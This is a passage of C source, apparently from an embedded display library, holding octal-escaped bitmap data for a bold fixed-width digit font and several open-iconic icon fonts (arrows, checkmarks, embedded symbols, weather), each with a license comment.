"\0\0\0\0\0\0\300\360\70\14\4\0\0\0\7\37\70`@\0\0\0\4\14\70\360\300\0\0\0@`" "\70\37\7\0\0\30\240\370\370\240\30\0\0\3\0\3\3\0\3\0\0\0\0\340\340\0\0\0\0\1\1\17" "\17\1\1\0\0\0\0\0\0\0\0\0\0\0\0Hx\70\0\0\0\0\0\0\0\0\0\0\0\1\1\1" "\1\1\1\0\0\0\0\0\0\0\0\0\0\0\0\30\30\0\0\0\0\0\0\200\340|\34\0\0p|\17" "\3\0\0\0\0\360\370\10\10\370\360\0\0\17\37\20\20\37\17\0\0 \60\370\370\0\0\0\0\20\20\37" "\37\20\20\0\0\60\70\10\210\370p\0\0\30\34\26\23\21\20\0\0\60\70\210\210\370p\0\0\14\34\20" "\20\37\17\0\0\0\200\300\360\370\0\0\0\7\7\4\37\37\4\0\0\370\370HH\310\210\0\0\14\34\20" "\20\37\17\0\0\340\360\230\210\270\60\0\0\17\37\20\20\37\17\0\0\70\70\210\350x\30\0\0\0\0\37" "\37\0\0\0\0p\370\210\210\370p\0\0\16\37\21\21\37\16\0\0\360\370\10\10\370\360\0\0\14\35\21" "\31\17\7\0\0\0\0``\0\0\0\0\0\0\14\14\0\0\0\0\0\0\0``\0\0\0\0\0$" "<\34\0\0\0\0\200\300`\60\20\0\0\1\3\6\14\30\20\0\0\200\200\200\200\200\200\0\0\4\4\4" "\4\4\4\0\0\20\60`\300\200\0\0\0\20\30\14\6\3\1\0\0\60\70\210\310x\60\0\0\0\0\33" "\33\0\0\0\0\340\360\330\350\70\360\0\0\7\17\33\27\24\27\0\0\360\370\30\30\370\360\0\0\37\37\2" "\2\37\37\0\0\370\370\210\210\370\60\0\0\37\37\20\20\37\17\0\0\360\370\10\10\70\60\0\0\17\37\20" "\20\34\14\0\0\370\370\10\30\360\340\0\0\37\37\20\30\17\7\0\0\370\370\210\210\210\10\0\0\37\37\20" "\20\20\20\0\0\370\370\210\210\210\10\0\0\37\37\0\0\0\0\0\0\360\370\10\10\70\60\0\0\17\37\20" "\21\37\17\0\0\370\370\200\200\370\370\0\0\37\37\0\0\37\37\0\0\10\10\370\370\10\10\0\0\20\20\37" "\37\20\20\0\0\0\0\0\0\370\370\0\0\14\34\20\30\17\7\0\0\370\370\340\60\30\10\0\0\37\37\3" "\7\34\30\0\0\370\370\0\0\0\0\0\0\37\37\20\20\20\20\0\0\370\360\300\300\360\370\0\0\37\37\0" "\0\37\37\0\0\370\370\340\0\370\370\0\0\37\37\0\7\37\37\0\0\360\370\10\10\370\360\0\0\17\37\20" "\20\37\17\0\0\370\370\10\10\370\360\0\0\37\37\1\1\1\0\0\0\360\370\10\10\370\360\0\0\17\37\22" "\24\77o\0\0\370\370\210\210\370p\0\0\37\37\0\1\37\36\0\0\60x\310\210\70\60\0\0\14\34\21" "\23\36\14\0\0\10\10\370\370\10\10\0\0\0\0\37\37\0\0\0\0\370\370\0\0\370\370\0\0\17\37\20" "\20\37\17\0\0\370\370\0\0\370\370\0\0\3\17\34\34\17\3\0\0\370\370\0\0\370\370\0\0\17\37\17" "\17\37\17\0\0\30x\340\340x\30\0\0\30\36\7\7\36\30\0\0\70\370\300\300\370\70\0\0\0\0\37" "\37\0\0\0\0\10\10\210\350x\30\0\0\30\36\27\21\20\20\0\0\0\374\374\4\4\4\0\0\0\177\177" "@@@\0\0\34|\340\200\0\0\0\0\0\0\3\17|p\0\0\0\4\4\4\374\374\0\0\0@@" "@\177\177\0\0\10\14\6\6\14\10\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0```" "```\0\0\0\4\14\30\20\0\0\0\0\0\0\0\0\0\0\0\200\300@@\300\200\0\0\14\36\22" "\21\37\37\0\0\370\370@@\300\200\0\0\37\37\20\20\37\17\0\0\200\300@@\300\200\0\0\17\37\20" "\20\30\10\0\0\200\300@@\370\370\0\0\17\37\20\20\37\37\0\0\200\300@@\300\200\0\0\17\37\22" "\22\33\13\0\0\200\200\360\370\230\220\0\0\0\0\37\37\0\0\0\0\200\300@\300\200\300\0\0\63\177T" "Ws \0\0\370\370@@\300\200\0\0\37\37\0\0\37\37\0\0\0\0\330\330\0\0\0\0\0\0\37" "\37\0\0\0\0\0\0\0\0\330\330\0\0\0 `@\177\77\0\0\370\370\0\200\300\0\0\0\37\37\3" "\7\14\30\0\0\0\0\370\370\0\0\0\0\0\0\37\37\0\0\0\0\300\300\200\300\300\200\0\0\37\37\17" "\17\37\37\0\0\300\300@@\300\200\0\0\37\37\0\0\37\37\0\0\200\300@@\300\200\0\0\17\37\20" "\20\37\17\0\0\300\300@@\300\200\0\0\177\177\20\20\37\17\0\0\200\300@@\300\300\0\0\17\37\20" "\20\177\177\0\0\300\300@@\300\200\0\0\37\37\0\0\1\1\0\0\200\300@@\300\200\0\0\10\31\23" "\26\34\10\0\0@@\370\370@@\0\0\0\0\17\37\20\20\0\0\300\300\0\0\300\300\0\0\17\37\20" "\20\37\37\0\0\300\300\0\0\300\300\0\0\1\7\36\36\7\1\0\0\300\300\0\0\300\300\0\0\17\37\17" "\17\37\17\0\0\300\300\0\0\300\300\0\0\30\35\7\7\35\30\0\0\300\300\0\0\300\300\0\0 cO" "|\77\3\0\0@@@@\300\300\0\0\30\34\26\23\21\20\0\0\0\0\370\374\4\4\0\0\0\1\77" "~@@\0\0\0\0\374\374\0\0\0\0\0\0\177\177\0\0\0\0\0\4\4\374\370\0\0\0\0@@" "~\77\1\0\0\70\14\30\30\60\34\0\0\0\0\0\0\0\0"; /* Fontname: -Misc-Fixed-Bold-R-Normal--14-130-75-75-C-70-ISO10646-1 Copyright: Public domain font. Share and enjoy. Glyphs: 18/1009 BBX Build Mode: 3 */ const uint8_t u8x8_font_7x14B_1x2_n[436] U8X8_FONT_SECTION("u8x8_font_7x14B_1x2_n") = " :\1\2\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\30\240\370\370\240\30\0\0\3\0\3\3\0\3\0\0\0\0\340\340\0\0\0\0\1\1\17" "\17\1\1\0\0\0\0\0\0\0\0\0\0\0\0Hx\70\0\0\0\0\0\0\0\0\0\0\0\1\1\1" "\1\1\1\0\0\0\0\0\0\0\0\0\0\0\0\30\30\0\0\0\0\0\0\200\340|\34\0\0p|\17" "\3\0\0\0\0\360\370\10\10\370\360\0\0\17\37\20\20\37\17\0\0 \60\370\370\0\0\0\0\20\20\37" "\37\20\20\0\0\60\70\10\210\370p\0\0\30\34\26\23\21\20\0\0\60\70\210\210\370p\0\0\14\34\20" "\20\37\17\0\0\0\200\300\360\370\0\0\0\7\7\4\37\37\4\0\0\370\370HH\310\210\0\0\14\34\20" "\20\37\17\0\0\340\360\230\210\270\60\0\0\17\37\20\20\37\17\0\0\70\70\210\350x\30\0\0\0\0\37" "\37\0\0\0\0p\370\210\210\370p\0\0\16\37\21\21\37\16\0\0\360\370\10\10\370\360\0\0\14\35\21" "\31\17\7\0\0\0\0``\0\0\0\0\0\0\14\14\0\0"; /* Fontname: open_iconic_arrow_1x Copyright: https://github.com/iconic/open-iconic, SIL OPEN FONT LICENSE Glyphs: 28/28 BBX Build Mode: 3 */ const uint8_t u8x8_font_open_iconic_arrow_1x1[229] U8X8_FONT_SECTION("u8x8_font_open_iconic_arrow_1x1") = "@[\1\1\0 `\377` \0\0\10\34>\10\10\10\10\10\10\10\10\10\10>\34\10\0\4\6\377" "\6\4\0\0\37\30\30\10~~~~~~~\30\0$<\333Z$\0\0<~\377\377" "\201\201B<\357\357\357\357\357\257\357\0\0\12*\277\65\24\0\0\70D\200\217\200D\70\0|x\360\340\300\300\340\360x" "|>\37\7\340\370|>\36\17\7\3\77\77\77>><\370\340\7\37>|x\360\340\300\374\374\374|" "|<\37\7\340\370<>>\77\77\77\3\7\17\36>|\370\340\7\37<||\374\374\374\300\340\360x" "|>\37\7\340\370|>\36\17\7\3\3\7\17\36>|\370\340\7\37\77\177\177\377\300\300\300\300\377\177" "\177\77\37\7\0\0\0\0\0\0\377\377\377\377\0\0\0\0\0\0\0\0\0\4\14\34\77\177\377\177<\34" "\14\0\0\0\0\200\300\340\360\370\300\300\300\300\300\300\300\300\300\300\1\3\7\17\37\37\3\3\3\3\3\3" "\3\3\3\3\300\300\300\300\300\300\300\300\300\300\370\370\360\340\300\200\3\3\3\3\3\3\3\3\3\3\37\17" "\7\3\1\0\0\0\0\60\70<\376\377\376\374\70\60 \0\0\0\0\0\0\0\0\0\377\377\377\377\0\0" "\0\0\0\0\0\20\60p\360\360\360\360\360\360\360\360p\60\20\0\0\0\0\0\0\1\3\7\7\3\1\0" "\0\0\0\0\0\0\0\0\0\200\300\340\360\370\374\376\0\0\0\0\0\0\0\0\0\1\3\7\17\37\77\177" "\0\0\0\0\0\0\0\0\376\374\370\360\340\300\200\0\0\0\0\0\0\0\0\0\177\77\37\17\7\3\1\0" "\0\0\0\0\0\0\0\0\0\200\300\340\340\300\200\0\0\0\0\0\0\10\14\16\17\17\17\17\17\17\17\17" "\16\14\10\0\0\60x\370\360\340\300\200\200\300\340\360\370x\60\0\0\0\0\0\1\3\7\17\17\7\3\1" "\0\0\0\0\0\0\0\200\300\340\360\370|>\36\14\0\0\0\0\0\0\0\1\3\7\17\37>|x\60" "\0\0\0\0\0\0\0\14\36>|\370\360\340\300\200\0\0\0\0\0\0\0\60x|>\37\17\7\3\1" "\0\0\0\0\0\0\0\200\300\340\360\370\370\360\340\300\200\0\0\0\0\6\17\17\7\3\1\0\0\1\3\7" "\17\17\6\0\0\0\0@\300\300\377\377\377\377\300\300@\0\0\0\300\300\300\300\300\301\303\307\307\303\301\300" "\300\300\300\300\3\3\3\3\3\203\303\343\343\303\203\3\3\3\3\3\0\0\0\2\3\3\377\377\377\377\3\3" "\2\0\0\0\70<\14\14\14\14\14\14\14\14\14\14\77\36\14\0\0\14\36\77\14\14\14\14\14\14\14\14" "\14\14\17\7\0\0\300\360\70\30\14\14\0\0\200\300\340\340\300\200\1\3\7\7\3\1\0\0\60\60\30\34" "\17\3\0\0\0\0\317\317\3\3\3\3\3\3C\303\377\377\300@\2\3\377\377\303\302\300\300\300\300\300\300" "\363\363\0\0\14\14\34\70p\340\300\340p\70\34\14\77\36\14\0\60\60\70\34\16\7\3\3\17\34\70\60" "\374x\60\0\0\200\300\300\340\340\360\360\360\360\377\376\374\370p \14\7\3\1\1\0\0\0\0\0\7\3" "\1\0\0\0\377\377\3\3\3c\60\70\70<<<~<\34\10\77\77\60\60\60\60\60\60\60\60<<" "\0\0\0"; /* Fontname: open_iconic_check_2x Copyright: https://github.com/iconic/open-iconic, SIL OPEN FONT LICENSE Glyphs: 5/5 BBX Build Mode: 3 */ const uint8_t u8x8_font_open_iconic_check_2x2[164] U8X8_FONT_SECTION("u8x8_font_open_iconic_check_2x2") = "@D\2\2\0\200\300\200\0\0\0\200\300\340\360\370\374x\60\0\1\3\7\17\37>\77\37\17\7\3\1" "\0\0\0\0\340\370\374\376~\177\377\377\177\77\37\216\316\374\370\340\7\37\77\177~\374\370\370\374\376\377\177" "\177\77\37\7\340\370\374\376\316\217\37\77\77\37\217\316\376\374\370\340\7\37\77\177s\361\370\374\374\370\361s" "\177\77\37\7\377\377\3\3\3c\343\303\303\343q\70\34\216\6\0\77\77\60\60\60\60\60\61\61\60\60\60" "\77\77\0\0\4\16\37>|\370\360\340\360\370\374~\77\36\14\0\20\70|~\77\37\17\7\7\17\37>" "|x\60"; /* Fontname: open_iconic_embedded_2x Copyright: https://github.com/iconic/open-iconic, SIL OPEN FONT LICENSE Glyphs: 17/17 BBX Build Mode: 3 */ const uint8_t u8x8_font_open_iconic_embedded_2x2[548] U8X8_FONT_SECTION("u8x8_font_open_iconic_embedded_2x2") = "@P\2\2\374\374\14\14\14\14\14\14\14\14\14\14\374\374\300\300\77\77\60\60\60\60\60\60\60\60\60\60" "\77\77\3\3\0\0\0\300\374\376\377\377\377\377\376\374\300\0\0\0\14\16\17\17\17\17O\317\317O\17\17" "\17\17\16\14\200\300\334\374\374\70\36\37\37\36\70\374\374\334\300\200\1\3;\77\77\34x\370\370x\34\77" "\77;\3\1\0\0\0\0 \70>\77\367\361p\20\0\0\0\0\0\0\0\0\14||\77\37\15\4\0" "\0\0\0\0\0 \360\370\370\374\376\377\377\376\374\370\370\360 \0\0\0\77\77\77\77\3\3\3\3\77\77" "\77\77\0\0\0\0\0\0\0\200\300\340\340\300\200\6\16\34\30\0\360\370\374\376\177\77\37\17\7\3\1\0" "\0\0\0\0\200\200\200\200\200\370~\370\300\200\340\340\200\200\200\200\1\1\3\37\37\3\0\3\37\37\3\1" "\1\1\1\1\0\0\0\300\370\376\77\77\376\360\300\0\0\0\0\0\340\374\377\377\377\377\314\314\377\377\377\377" "\370\340\0\0\0\0\0\0\0\0\370\376\376\377\303\300\300\300\300``\220\230|>\37\17\7\3\3\3\3" "\3\1\1\0\374\374\374\374\374\374\374\374\374\374\374\374\374\374\300\300\77\77\77\77\77\77\77\77\77\77\77\77" "\77\77\3\3\0\0\0\60`\377\377\206\314xx\60\0\0\0\0\0\0\0\14\6\377\377a\63\36\36\14" "\0\0\0\0\340\370\374\376\376\377\377\377\3\3\7\6\16<\370\340\7\37\77\177\177\377\377\377\300\300\340`" "p<\37\7\377\377\377\377\377\377\377\377\377\377\377\377\377\377\0\0\374\374\374\374\374\374\374\374\374\374\314\314" "\374\374\0\0\0\0\230\230\314\314ff\63\63\230\230\0\0\0\0\0\0\1\1\14\314\316\316\317\17\1\1" "\0\0\0\0\300\340p\30\0\0\377\377\0\0\30p\340\300\0\0\17\37\70`\340\300\300\300\300\340`\70" "\37\17\0\0\340\370<\16\6\7\3\3\3\3'\66><>>\7\37" "\177\371\360`\0\0\377\377\3\3\3\3\3\3\377\377\0\0\0\0\0\0\377\377\360\360\220\220\360\360\377\377" "\0\0\0\0\0\30<<<<\377\377\360\360\360\360`\0\0\0\0\0\0\0\0\0\377\377\0\0\0\0" "\0\0\0\0\60\60`\340\374\376\377\377\377\374\340`\60\60\0\0\63\63\37\77\177\177\0\0\177\177\77\37" "\63\63\0\0\0\200\340\360\377\376\374\360\0\0\300\200\0\0\0\0\17\77\177\377\17\7\301\340\370\374\377\377" "\377|\0\0\0\0\300\300\374\376\307\303\303\307\376\374\300\300\0\0\0\0\77\77\77\77\77\77\77\77\77\77" "\77\77\0\0\377\377\3\3\3\3\3\3\3\3\3\3\3\3\377\377\17\17\214\314\314\314\374\374\374\374\314\314" "\314\214\17\17\200\300\303\303\377\377\377\377\377\377\303\303\300\200\0\0\0\0\0\0\0\0\177\177\0\0\0\0" "\0\0\0\0\377\377\3\3\3\3\3\3\3\3\3\3\377\377\0\0\377\377\360\360\360\360\220\220\360\360\360\360" "\377\377\0"; /* Fontname: open_iconic_weather_2x Copyright: https://github.com/iconic/open-iconic, SIL OPEN FONT LICENSE Glyphs: 6/6 BBX Build Mode: 3 */ const uint8_t u8x8_font_open_iconic_weather_2x2[197] U8X8_FONT_SECTION("u8x8_font_open_iconic_weather_2x2") = "@E\2\2\0\200\300\300\340\370\370\374\374\374\374\370\370\340\0\0\17\37\77\77\77\77\77\77\77\77\77\77" "\77\77\77\36x~>\37\217\347\343\362\362\360\360\340\340\200\0\0<~\377\377\377\377\377\377\377\377\377\377" "\377\377\374x\340\370\374\376\377\340\200\0\0\0\0\0\0\0\0\0\3\17\37\77\177\177\177\377\376|||" "\70\30\14\0\300\340\360\360\370\376\376\377\377\377\377\376\376\370\300\200\3\3\363\363\1\0\374\374\0\1\363\363" "\3\7\17\7\0@\300\300\300\300\340\374\374\340\300\300\300\300@\0\0\0\0\1s\77\37\17\17\37\77s" "\1\0\0\0\200\200\14\14\300\340\360\363\363\360\340\300\14\14\200\200\1\1\60\60\3\7\17\317\317\17\7\3" "\60\60\1\1"; /* Fontname: open_iconic_arrow_4x Copyright: https://github.com/iconic/open-iconic, SIL OPEN FONT LICENSE Glyphs: 28/28 BBX Build Mode: 3 */ const uint8_t u8x8_font_open_iconic_arrow_4x4[3588] U8X8_FONT_SECTION("u8x8_font_open_iconic_arrow_4x4") = "@[\4\4\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\20\60p\360\360\360\360\360\377\377\377\377\360\360\360\360\360p\60\20\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\1\7\17\37\77\177\377\77\37\17\7\1\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\200\300\340\360\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0@`\360\370\374\376\376\377\377\377\377\377\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360" "\360\360\360\360\0\0\0\1\3\7\7\17\37\77\177\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\360\340\300\200\0\0\0\0" "\0\0\0\0\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\377\377\377\377\377\376\376\374" "\370\360` \0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\177\77\37\17\7\7\3" "\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\200\340\360\370\374\377\376\374\370\360\340\200\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\10\14\16\17\17\17\17\17\377\377\377\377\17\17\17\17\17\16\14\10\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\200\300\340\360\370\374\374\376\376\376\17\17\17\17\17\17\17\17\376\376\376\374\374\370\360\340" "\300\200\0\0\360\376\377\377\377\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\377" "\377\377\376\360\17\177\377\377\376\374\370\360\340\300\200\0\0\0\0\0\0\0\0\0\0\200\300\340\360\370\374\376" "\377\377\177\17\0\0\1\3\7\17\37\77\77\177\177\177\376\374\370\360\360\370\374\376\177\177\177\77\77\37\17\7" "\3\1\0\0\0\0\200\300\340\360\370\374\374\376\376\376\177\77\37\17\377\377\377\377\376\376\376\374\374\370\360\340" "\300\200\0\0\360\376\377\377\177\77\37\17\7\3\1\0\0\0\0\0\17\17\17\17\17\17\17\17\17\17\17\17" "\377\377\376\360\17\177\377\377\376\374\370\360\340\300\200\0\0\0\0\0\360\360\360\360\360\360\360\360\360\360\360\360" "\377\377\177\17\0\0\1\3\7\17\37\77\77\177\177\177\376\374\370\360\377\377\377\377\177\177\177\77\77\37\17\7" "\3\1\0\0\0\0\200\300\340\360\370\374\374\376\376\376\377\377\377\377\17\37\77\177\376\376\376\374\374\370\360\340" "\300\200\0\0\360\376\377\377\17\17\17\17\17\17\17\17\17\17\17\17\0\0\0\0\0\1\3\7\17\37\77\177" "\377\377\376\360\17\177\377\377\360\360\360\360\360\360\360\360\360\360\360\360\0\0\0\0\0\200\300\340\360\370\374\376" "\377\377\177\17\0\0\1\3\7\17\37\77\77\177\177\177\377\377\377\377\360\370\374\376\177\177\177\77\77\37\17\7" "\3\1\0\0\0\0\200\300\340\360\370\374\374\376\376\376\177\77\37\17\17\37\77\177\376\376\376\374\374\370\360\340" "\300\200\0\0\360\376\377\377\177\77\37\17\7\3\1\0\0\0\0\0\0\0\0\0\0\1\3\7\17\37\77\177" "\377\377\376\360\17\177\377\377\377\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\377" "\377\377\177\17\0\0\1\3\7\17\37\77\77\177\177\177\360\360\360\360\360\360\360\360\177\177\177\77\77\37\17\7" "\3\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\20\60p\360\360\360\360\377\377\377\377\377\377\377\377\360\360\360\360\360p\60\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\1\3\7\17\37\77\177\377\177\77\37\17\7\3\1\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300\340\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\200\300\340\360\370\374\376\377\377\377\377\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360" "\360\360\360\360\1\3\7\17\37\77\177\377\377\377\377\377\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17" "\17\17\17\17\0\0\0\0\0\0\0\0\1\3\7\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\340\340\300\200\0\0\0\0" "\0\0\0\0\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\377\377\377\377\377\376\374\370" "\360\340\300\200\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\377\377\377\377\177\77\37\17" "\7\3\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\7\3\1\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\200\300\340\360\370\374\376\377\376\374\370\360\340\300\200\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\14\16\17\17\17\17\17\377\377\377\377\377\377\377\377\17\17\17\17\16\14\10\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\1\3\7\17\37\77\177\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\177\77\37\17" "\7\3\1\0\0\0\0\0\0\0\0\0\0\1\3\7\17\37\77\177\177\77\37\17\7\3\1\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300\340\360\370\374\376\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300\340\360\370\374\376\377\377\377\377\377\377\377\377\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\1\3\7\17\37\77\177\377\377\377\377\377\377\377\377\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\3\7\17\37\77\177\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\376\374\370\360\340\300\200\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\377\376\374\370\360\340\300\200\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\377\177\77\37\17\7\3\1\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\177\77\37\17\7\3\1\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300\340\360\370\374\376\376\374\370\360\340\300\200\0\0\0\0\0" "\0\0\0\0\0\200\300\340\360\370\374\376\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\376\374\370\360" "\340\300\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\200\300\340\340\300\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300\340\340\300" "\200\0\0\0\0\6\17\37\77\177\377\377\377\377\376\374\370\360\340\300\300\340\360\370\374\376\377\377\377\377\177\77" "\37\17\6\0\0\0\0\0\0\0\0\1\3\7\17\37\77\177\377\377\377\377\177\77\37\17\7\3\1\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\1\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300\340\360\370\374\376\376\374\370\360`\0\0\0" "\0\0\0\0\0\0\0\0\0\200\300\340\360\370\374\376\377\377\377\377\177\77\37\17\7\3\1\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\1\3\7\17\37\77\177\377\377\377\377\376\374\370\360\340\300\200\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\3\7\17\37\77\177\177\77\37\17\6\0\0\0" "\0\0\0\0\0\0\0\0\0`\360\370\374\376\376\374\370\360\340\300\200\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\1\3\7\17\37\77\177\377\377\377\377\376\374\370\360\340\300\200\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\200\300\340\360\370\374\376\377\377\377\377\177\77\37\17\7\3\1\0\0\0" "\0\0\0\0\0\0\0\0\0\6\17\37\77\177\177\77\37\17\7\3\1\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300\340\340\300\200\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\200\300\340\360\370\374\376\377\377\377\377\377\377\377\377\376\374\370\360\340\300\200\0" "\0\0\0\0\0\30<~\377\377\377\377\177\77\37\17\7\3\1\0\0\1\3\7\17\37\77\177\377\377\377\377" "~<\30\0\0\0\0\0\0\1\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\1\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\20\60p\360\360\360\360\377\377\377\377\377\377\377\377\360\360\360\360p\60\20\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\1\3\7\17\37\77\177\177\77\37\17\7\3\1\0\0\0\0\0" "\0\0\0\0\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360" "\360\360\360\360\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17" "\17\17\17\17\0\0\0\0\0\0\0\0\0\200\300\340\360\370\374\376\376\374\370\360\340\300\200\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\10\14\16\17\17\17\17\377\377\377\377\377\377\377\377\17\17\17\17\16\14\10\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\377\377\377\0\0\0\0\0\0\0\0" "\0\0\0\0\300\340\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\377\376\374\370" "\370\360`\0\17\17\17\17\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\17\7\3\1" "\1\0\0\0\0`\360\370\370\374\376\377\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360" "\377\377\177\77\0\0\0\1\1\3\7\17\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\200\300\340\340\340\360\360\360\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\340\374\376\377\37\7\3\1\1\0\0\0\0\0\0\0\200\300\340\370\374\376\376\374" "\370\340\300\200\1\3\7\37\77\177\177\77\37\7\3\1\0\0\0\0\0\0\0\200\200\300\340\370\377\177\77\7" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\17\17\17\7\7\7\3\1\0\0\0\0" "\0\0\0\0\0\0\0\0\377\377\377\377\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\17\377\377\377\377" "\0\0\0\0\0\0\0\300\340\370\370\340\300\0\0\0\0\0\0\0\0\0\0\0\20\60\360\360\377\377\377\377" "\360\360\60\20\10\14\17\17\377\377\377\377\17\17\14\10\0\0\0\0\0\0\0\0\0\0\0\3\7\37\37\7" "\3\0\0\0\0\0\0\0\377\377\377\377\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\360\377\377\377\377" 